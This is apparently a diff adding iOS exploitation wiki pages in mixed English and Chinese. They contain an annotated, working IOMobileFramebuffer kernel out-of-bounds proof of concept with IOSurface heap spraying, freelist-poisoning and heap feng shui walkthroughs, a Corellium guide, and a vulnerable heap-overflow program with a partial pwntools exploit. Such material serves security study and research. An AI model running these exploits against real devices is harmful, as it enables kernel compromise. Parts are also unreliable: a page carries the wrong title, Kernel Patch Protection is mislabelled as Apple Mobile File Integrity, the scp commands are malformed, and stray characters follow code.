+NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## Arbitrary Read PoC Explained + +1. **Opening the right user client** + +- `get_appleclcd_uc()` 会找到 **AppleCLCD** 服务并打开 **user client type 2**。AppleCLCD 和 IOMobileFramebuffer 共享相同的 external-methods 表;type 2 暴露了 **selector 83**,即易受攻击的方法。**这是你进入该漏洞的入口。** E_POC/) + +**Why 83 matters:** the decompiled path is: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +Inside that last call, the code **uses your 32-bit scalar as an array index with no bounds check**, fetches a pointer from **`this + 0xA58 + index*8`**, and **passes it as an `IOSurface*`** to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.** + +2. **The heap spray (why IOSurface shows up here)** + +- `do_spray()` uses **`IOSurfaceRootUserClient`** to **create many IOSurfaces** and **spray small values** (`s_set_value` style). This fills nearby kernel heaps with **pointers to valid IOSurface objects**. + +- **Goal:** when selector 83 reads past the legit table, the **OOB slot likely contains a pointer to one of your (real) IOSurfaces**---so the later dereference **doesn't crash** and **succeeds**. IOSurface is a classic, well-documented kernel spray primitive, and Saar's post explicitly lists the **create / set_value / lookup** methods used for this exploitation flow. + +3. **The "offset/8" trick (what that index really is)** + +- In `trigger_oob(offset)`, you set `scalars[0] = offset / 8`. + +- **Why divide by 8?** The kernel does **`base + index*8`** to compute which **pointer-sized slot** to read. You're picking **"slot number N"**, not a byte offset. **Eight bytes per slot** on 64-bit. + +- That computed address is **`this + 0xA58 + index*8`**. The PoC uses a big constant (`0x1200000 + 0x1048`) simply to step **far out of bounds** into a region you've tried to **densely populate with IOSurface pointers**. **If the spray "wins," the slot you hit is a valid `IOSurface*`.** + +4. **What selector 83 returns (this is the subtle part)** + +- The call is: + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);`o + +- Internally, after the OOB pointer fetch, the driver calls\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**. + +- **Result:** **`output_scalars[0]` is a Mach port name (u32 handle) in your task** for *whatever object pointer you supplied via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** This exact behavior (copying a *port name*) is shown in Saar's decompilation. + +**Why that's useful:** with a **port name** to the (supposed) IOSurface, you can now use **IOSurfaceRoot methods** like: + +- **`s_lookup_surface_from_port` (method 34)** → turn the port into a **surface ID** you can operate on through other IOSurface calls, and + +- **`s_create_port_from_surface` (method 35)** if you need the inverse.\ +Saar calls out these exact methods as the next step. **The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps: +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk → deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. ⭐ +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The “with_gc” flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## 参考资料 +- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..d5b2ecaee --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,256 @@ +# iOS Exploiting + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. +- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. +- **Data Execution Prevention (DEP)** 将内存区域标记为不可执行,除非该区域显式包含代码。这样可以阻止攻击者在数据区(例如 stack 或 heap)注入 shellcode 并运行,迫使他们依赖更复杂的技术,比如 ROP(Return-Oriented Programming)。 +- **ASLR (Address Space Layout Randomization)** 每次系统运行时随机化代码、库、stack 和 heap 的内存地址布局。这样攻击者就很难预测有用指令或 gadgets 的位置,破坏了许多依赖固定内存布局的利用链。 +- **KASLR (Kernel ASLR)** 将相同的随机化概念应用到 iOS kernel。通过在每次启动时打乱 kernel 的基址,阻止攻击者可靠地定位 kernel 函数或结构,从而增加了内核级 exploit 的难度。 +- **Kernel Patch Protection (KPP)**(在 iOS 中也称为 **AMCC (Apple Mobile File Integrity)**)持续监控 kernel 的代码页以确保它们未被修改。如果检测到篡改——例如尝试 patch kernel 函数或插入恶意代码——设备会立即 panic 并重启。此保护使得持久性的内核利用更加困难,因为攻击者不能简单地 hook 或 patch kernel 指令而不触发系统崩溃。 +- **Kernel Text Readonly Region (KTRR)** 是在 iOS 设备上引入的基于硬件的安全功能。它使用 CPU 的内存控制器在启动后将 kernel 的代码(text)段标记为永久只读。锁定后,即使是 kernel 自身也无法修改该内存区域。这阻止了攻击者(甚至有特权的代码)在运行时 patch kernel 指令,封堵了依赖直接修改 kernel 代码的主要利用方式。 +- **Pointer Authentication Codes (PAC)** 在指针的未使用位中嵌入加密签名以在使用前验证其完整性。当创建指针(如返回地址或函数指针)时,CPU 使用秘密密钥对其签名;在取消引用之前,CPU 会检查该签名。如果指针被篡改,检查失败并停止执行。这阻止了攻击者在内存损坏利用中伪造或重用损坏的指针,使得像 ROP 或 JOP 的技术更难可靠完成。 +- **Privilege Access never (PAN)** 是一项硬件特性,防止 kernel(特权模式)在未显式启用访问的情况下直接访问 user-space 内存。这阻止了即使获得 kernel 代码执行的攻击者也能轻易读取或写入用户内存以升级利用或窃取敏感数据。通过强制严格的隔离,PAN 降低了 kernel exploit 的影响并阻止了许多常见的权限提升技术。 +- **Page Protection Layer (PPL)** 是 iOS 的一项安全机制,用于保护关键的由 kernel 管理的内存区域,尤其是与 code signing 和 entitlements 相关的区域。它使用 MMU 和额外检查强制严格的写保护,确保即使是有特权的 kernel 代码也不能任意修改敏感页。这阻止了获得内核级执行权限的攻击者篡改安全关键结构,使得持久化和绕过 code-signing 更加困难。 + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones." +Each zone only stores allocations of a single size class. + +From the screenshot: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | 非常小的 kernel structs、pointers。 | +| `default.kalloc.32` | 32 bytes | 小型 structs、object headers。 | +| `default.kalloc.64` | 64 bytes | IPC messages、微小的 kernel buffers。 | +| `default.kalloc.128` | 128 bytes | 中等对象,例如 `OSObject` 的部分。 | +| `default.kalloc.256` | 256 bytes | 更大的 IPC messages、数组、device structures。 | +| … | … | … | +| `default.kalloc.1280`| 1280 bytes | 大型结构体、IOSurface/graphics metadata。 | + +**How it worked:** +- Each allocation request gets **rounded up** to the nearest zone size. +(E.g., a 50-byte request lands in the `kalloc.64` zone). +- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone. +- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**. + +This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class. + +### The freelist + +Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks. + +- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone. + +- The zone kept a HEAD pointer to the first free chunk. + +- Allocation always used the current HEAD: + +1. Pop HEAD (return that memory to the caller). + +2. Update HEAD = HEAD->next (stored in the freed chunk’s header). + +- Freeing pushed chunks back: + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +So the freelist was just a linked list built inside the freed memory itself. + +Normal state: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL +(next ptrs stored at start of freed chunks) +``` +### 利用 freelist + +因为 free chunk 的前 8 字节 = freelist pointer,攻击者可以破坏它: + +1. **Heap overflow** 写入到相邻的 freed chunk → 覆盖其 “next” pointer。 +2. **Use-after-free** 往 freed object 写入 → 覆盖其 “next” pointer。 + +然后,在下一次分配相同大小时: + +- allocator 会 pop 被破坏的 chunk。 +- 遵循攻击者提供的 “next” pointer。 +- 返回指向任意内存的指针,从而实现 fake object primitives 或定向 overwrite。 + +freelist poisoning 的可视化示例: +``` +Before corruption: +HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL + +After attacker overwrite of F1->next: +HEAD ──► [ F1 ] +(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone → kernel hands out memory at attacker-controlled address. +``` +This freelist 设计在强化之前使利用非常有效:来自 heap sprays 的可预测邻居、原始指针 freelist 链接,以及缺乏类型分离,允许攻击者将 UAF/overflow 漏洞升级为对任意 kernel memory 的控制。 + +### Heap Grooming / Feng Shui +The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\ +这样,当发生内存损坏时,攻击者可以可靠地用受控数据覆盖受害对象。 + +**Steps:** + +1. Spray allocations (fill the holes) +- 随着时间推移,kernel heap 会碎片化:某些 zone 出现旧对象被释放后留下的空洞。 +- 攻击者首先进行大量占位分配以填满这些空隙,使堆变得“紧凑”且可预测。 + +2. Force new pages +- 一旦空洞被填满,下一波分配必须来自添加到该 zone 的新页面。 +- 新页面意味着对象会被聚集在一起,而不是分散在老的碎片化内存中。 +- 这使攻击者对邻居对象的控制大大提高。 + +3. Place attacker objects +- 攻击者再次进行喷洒,在那些新页面中创建大量受控对象。 +- 这些对象在大小和位置上是可预测的(因为它们都属于同一个 zone)。 + +4. Free a controlled object (make a gap) +- 攻击者有意释放他们自己的某个对象。 +- 这会在堆中创建一个“洞”,分配器会在以后重用该大小的下一个分配时使用该洞。 + +5. Victim object lands in the hole +- 攻击者触发内核分配受害对象(他们想要破坏的对象)。 +- 由于该洞是 freelist 中第一个可用插槽,受害对象就会被放在攻击者之前释放对象的位置。 + +6. Overflow / UAF into victim +- 现在攻击者在受害对象周围拥有受控对象。 +- 通过从自己的对象溢出(或重用已释放对象),他们可以可靠地用选定值覆盖受害者的内存字段。 + +**Why it works**: + +- Zone allocator predictability:相同大小的分配总是来自同一个 zone。 +- Freelist behavior:新的分配优先重用最近释放的 chunk。 +- Heap sprays:攻击者用可预测的内容填充内存并控制布局。 +- 最终结果:攻击者控制受害对象落在哪里以及它旁边放着什么数据。 + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Apple 加固了分配器,使得 **heap grooming much harder**: + +### 1. From Classic kalloc to kalloc_type +- **Before**: 每个大小类(16、32、64、… 1280 等)只有一个 `kalloc.` zone。任何该大小的对象都会被放在那里 → 攻击者的对象可以与特权内核对象并排放置。 +- **Now**: +- Kernel objects 从 **typed zones**(`kalloc_type`)中分配。 +- 每种类型的对象(例如 `ipc_port_t`、`task_t`、`OSString`、`OSData`)都有自己的专用 zone,即使它们大小相同。 +- 对象类型 ↔ zone 之间的映射在编译时由 **kalloc_type system** 生成。 + +攻击者不能再保证受控数据(`OSData`)会紧邻敏感内核对象(`task_t`)出现。 + +### 2. Slabs and Per-CPU Caches +- 堆被划分为 **slabs**(为该 zone 切分成固定大小块的内存页)。 +- 每个 zone 有一个 **per-CPU cache** 以减少争用。 +- 分配路径: +1. 尝试从 per-CPU cache。 +2. 如果为空,从全局 freelist 拉取。 +3. 如果 freelist 为空,分配新的 slab(一个或多个页面)。 +- **好处**:这种去中心化使得 heap sprays 不那么确定性,因为分配可能由不同 CPU 的缓存来满足。 + +### 3. Randomization inside zones +- 在 zone 内,释放的元素不会按简单的 FIFO/LIFO 顺序返回。 +- 现代 XNU 使用 **encoded freelist pointers**(类似 Linux 的 safe-linking,大约在 iOS 14 引入)。 +- 每个 freelist 指针都用每个 zone 的 secret cookie 进行 **XOR 编码**。 +- 这阻止攻击者在获得写原语后伪造假的 freelist 指针。 +- 有些分配在 slab 内的位置也会被 **随机化**,因此喷洒不能保证相邻性。 + +### 4. Guarded Allocations +- 某些关键内核对象(例如 credentials、task 结构)在 **guarded zones** 中分配。 +- 这些 zones 在 slab 之间插入 **guard pages**(未映射内存)或在对象周围使用 **redzones**。 +- 任何溢出到 guard page 都会触发 fault → 立即 panic 而不是静默破坏。 + +### 5. Page Protection Layer (PPL) and SPTM +- 即使你控制了一个已释放对象,也不能修改内核内所有内存: +- **PPL (Page Protection Layer)** 强制某些区域(例如 code signing 数据、entitlements)即使对内核本身也是 **只读**。 +- 在 **A15/M2+ devices** 上,这一角色被 **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)** 所替代/增强。 +- 这些硬件强制的层意味着攻击者无法从单一的 heap 损坏升级到对关键安全结构的任意修补。 + +### 6. Large Allocations +- 并非所有分配都通过 `kalloc_type`。 +- 非常大的请求(超过约 ~16KB)会绕过 typed zones,直接通过页面分配从 **kernel VM (kmem)** 提供。 +- 这些分配可预测性较差,但也较难利用,因为它们不会与其他对象共享 slab。 + +### 7. Allocation Patterns Attackers Target +即便有这些保护,攻击者仍然寻找: +- **Reference count objects**:如果你能篡改 retain/release 计数,可能会导致 use-after-free。 +- **Objects with function pointers (vtables)**:破坏其中一个仍然可以获得控制流。 +- **Shared memory objects (IOSurface, Mach ports)**:这些仍然是攻击目标,因为它们桥接 user ↔ kernel。 + +但——与以前不同——你不能只喷洒 `OSData` 并指望它与 `task_t` 相邻。你需要 **type-specific bugs** 或 **info leaks** 才能成功。 + +### Example: Allocation Flow in Modern Heap + +Suppose userspace calls into IOKit to allocate an `OSData` object: + +1. **Type lookup** → `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes). +2. Check per-CPU cache for free elements. +- If found → return one. +- If empty → go to global freelist. +- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes). +3. Return chunk to caller. + +**Freelist pointer protection**: +- 每个被释放的 chunk 存储下一个空闲 chunk 的地址,但该地址已用一个秘密 key 进行了编码。 +- 用攻击者数据覆盖该字段不会生效,除非你知道该 key。 + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and 安装 it even if there is a version mismatch. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..0bb18fd22 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,79 @@ +# iOS 如何连接到 Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## **Prereqs** +- 一个 Corellium iOS VM(无论是否 jailbroken)。本指南假设你可以访问 Corellium。 +- 本地工具:**ssh/scp**。 +- (可选)将 **SSH keys** 添加到你的 Corellium 项目以便免密登录。 + + +## **Connect to the iPhone VM from localhost** + +### A) **Quick Connect(无需 VPN)** +0) 在 **`/admin/projects`** 添加你的 ssh key(推荐)。 +1) 打开设备页面 → **Connect** +2) **复制 Corellium 显示的 Quick Connect SSH command** 并粘贴到终端。 +3) 输入密码或使用你的 key(推荐)。 + +### B) **VPN → 直接 SSH** +0) 在 **`/admin/projects`** 添加你的 ssh key(推荐)。 +1) 设备页面 → **CONNECT** → **VPN** → 下载 `.ovpn` 并使用支持 TAP 模式的任意 VPN 客户端连接。(如有问题,请查阅 [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn)。) +2) 使用 SSH 连接到 VM 的 **10.11.x.x** 地址: +```bash +ssh root@10.11.1.1 +``` +## **上传并执行原生二进制** + +### 2.1 **上传** +- 如果 Quick Connect 给了你 host/port: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- 如果使用 VPN (10.11.x.x): +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **上传并安装 iOS 应用 (.ipa)** + +### 路径 A — **Web UI (fastest)** +1) 在 Device 页面 → **Apps** 选项卡 → **Install App** → 选择你的 `.ipa`. +2) 在同一选项卡中,你可以 **launch/kill/uninstall**. + +### 路径 B — **通过 Corellium Agent 脚本化** +1) 使用 API Agent 来 **upload** 然后 **install**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### 路径 C — **Non-jailbroken (proper signing / Sideloadly)** +- 如果你没有 provisioning profile,使用 **Sideloadly** 用你的 Apple ID 重新签名,或在 Xcode 中签名。 +- 你也可以使用 **USBFlux** 将 VM 暴露给 Xcode(见 §5)。 + + +- 如果想在不使用 SSH 的情况下快速查看日志/执行命令,在 UI 中使用设备的 **Console**。 + +## **Extras** + +- **Port-forwarding**(让 VM 对其他工具感觉像本地): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**:使用设备页面底部显示的 **LLDB/GDB stub** 地址(CONNECT → LLDB)。 + +- **USBFlux (macOS/Linux)**:将 VM 呈现给 **Xcode/Sideloadly**,就像一个通过数据线连接的设备。 + + +## **常见陷阱** +- **Proper signing** 在 **non-jailbroken** 设备上是必需的;未签名的 IPAs 无法启动。 +- **Quick Connect vs VPN**:Quick Connect 是最简单的;当你需要设备在本地网络上(例如,本地代理/工具)时,使用 **VPN**。 +- **No App Store** 在 Corellium 设备上不可用;请自备已(重新)签名的 IPAs。 + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..343695a7e --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS 如何连接到 Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## 漏洞代码 +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called — nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached — spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes → overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +用以下命令编译: +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## Exploit + +> [!WARNING] +> 这个 exploit 正在设置环境变量 `MallocNanoZone=0` 来禁用 NanoZone。这样做是为了在调用 `malloc` 分配小尺寸时获得相邻的分配。否则,不同的 `malloc` 会在不同的 zones 中分配,不会相邻,从而导致 overflow 无法按预期工作。 +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) 